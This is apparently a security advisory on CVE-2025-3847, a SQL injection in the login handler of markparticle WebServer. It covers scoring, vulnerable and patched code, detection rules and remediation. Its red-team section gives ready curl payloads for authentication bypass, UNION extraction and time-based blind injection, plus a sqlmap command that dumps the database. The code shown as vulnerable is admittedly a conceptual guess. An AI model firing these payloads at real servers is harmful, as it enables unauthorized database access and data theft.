CVE-2025-3847

Executive Summary

CVE-2025-3847 is a critical SQL injection vulnerability discovered in the markparticle WebServer up to version 1.0. The flaw resides in the code/http/httprequest.cpp file, specifically within the Login component. By manipulating the username or password arguments, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, authentication bypass, and full compromise of the backend database. The exploit has been publicly disclosed, increasing the immediate risk to all unpatched instances. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security authority.
• Confidentiality Impact (C): High (H) – Full database read access possible.
• Integrity Impact (I): High (H) – Data can be modified or deleted.
• Availability Impact (A): High (H) – Database can be disrupted or destroyed.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, low complexity, no required privileges, and public exploit code makes this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login authentication logic. The httprequest.cpp file likely constructs SQL queries by directly concatenating user-supplied input from the username and password POST parameters without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Conceptual):

std::string query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
database.execute(query);

An attacker can break out of the string context by injecting a single quote (') and then append arbitrary SQL. For example, a username of admin' OR '1'='1 would result in:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'

This bypasses authentication entirely.

Attack Vector:

1. Attacker sends a POST request to the login endpoint (e.g., /login).
2. The username and password parameters are passed unsanitized to the SQL query.
3. The attacker injects SQL commands to extract data, modify records, or execute system commands (if the database user has sufficient privileges).

Vulnerable vs. Patched Code

Vulnerable Code (httprequest.cpp):

std::string username = request.getParam("username");
std::string password = request.getParam("password");
std::string sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
db.query(sql);

Patched Code (Recommended):

std::string username = request.getParam("username");
std::string password = request.getParam("password");
// Use parameterized query
std::string sql = "SELECT * FROM users WHERE username=? AND password=?";
db.prepare(sql);
db.bind(1, username);
db.bind(2, password);
db.execute();

The patched version uses prepared statements with bound parameters, which ensures that user input is always treated as data, not executable SQL code.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy markparticle WebServer v1.0 in a controlled environment (e.g., Docker container).
2. Ensure the login endpoint is accessible.

Exploitation Steps:

1. Authentication Bypass:

   curl -X POST http://target/login \
     -d "username=admin' OR '1'='1' -- &password=anything"
   

   This logs in as the first user in the database (often admin).

2. Data Exfiltration (UNION-based):

   curl -X POST http://target/login \
     -d "username=' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- &password=x"
   

   Adjust the number of columns to match the original query. Use error-based or blind techniques if UNION is not possible.

3. Blind SQL Injection (Boolean/Time-based):

   curl -X POST http://target/login \
     -d "username=admin' AND IF(1=1,SLEEP(5),0) -- &password=x"
   

   Observe response delays to infer true/false conditions.

Automated Exploitation (sqlmap):

sqlmap -u "http://target/login" --data="username=admin&password=test" \
  --level=5 --risk=3 --batch --dump

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in POST parameters (e.g., ' OR, UNION, SLEEP).
• Alert on unusual database error messages in HTTP responses.
• Use a Web Application Firewall (WAF) to block malicious payloads.

Defense:

• Immediately apply input validation and parameterized queries.
• Restrict database user privileges (e.g., no FILE or EXECUTE privileges).
• Enable detailed logging of all SQL queries and login attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /login with parameters containing SQL keywords (OR, UNION, SELECT, SLEEP, --).
  • HTTP responses containing database error messages (e.g., MySQL syntax error, unclosed quotation mark).

• File IOCs:

  • Modified httprequest.cpp file (if attacker patches the vulnerability).
  • Suspicious log entries in /var/log/webserver/access.log with SQL injection patterns.

• Behavioral IOCs:

  • Unusual database queries (e.g., SELECT * FROM mysql.user).
  • Unexpected outbound network connections from the database server.

Detection Engineering

YARA Rule

rule CVE_2025_3847_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts targeting markparticle WebServer login"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-3847"
    strings:
        $s1 = "username=" ascii nocase
        $s2 = "password=" ascii nocase
        $sqli1 = /' OR '1'='1/ ascii nocase
        $sqli2 = /UNION SELECT/ ascii nocase
        $sqli3 = /SLEEP\(/ ascii nocase
        $sqli4 = /--/ ascii nocase
    condition:
        all of ($s*) and any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against markparticle WebServer Login
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in login requests to markparticle WebServer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
        cs-uri-query|contains:
            - "' OR '1'='1"
            - "UNION SELECT"
            - "SLEEP("
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-3847 SQL Injection Attempt on markparticle WebServer Login";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    pcre:"/(\x27 OR \x271\x27=\x271|UNION SELECT|SLEEP\(|--)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-3847;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the markparticle WebServer from the internet until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
3. Audit all database accounts and revoke unnecessary privileges.

Long-term Fix:

• Rewrite the login logic to use parameterized queries (prepared statements) as shown in the patched code example.
• Apply input validation (whitelist allowed characters for username/password).
• Monitor for official patches from markparticle.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach the vulnerable server.
• Implement a custom authentication module that sanitizes inputs.

Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of CVE-2025-3847 is illegal.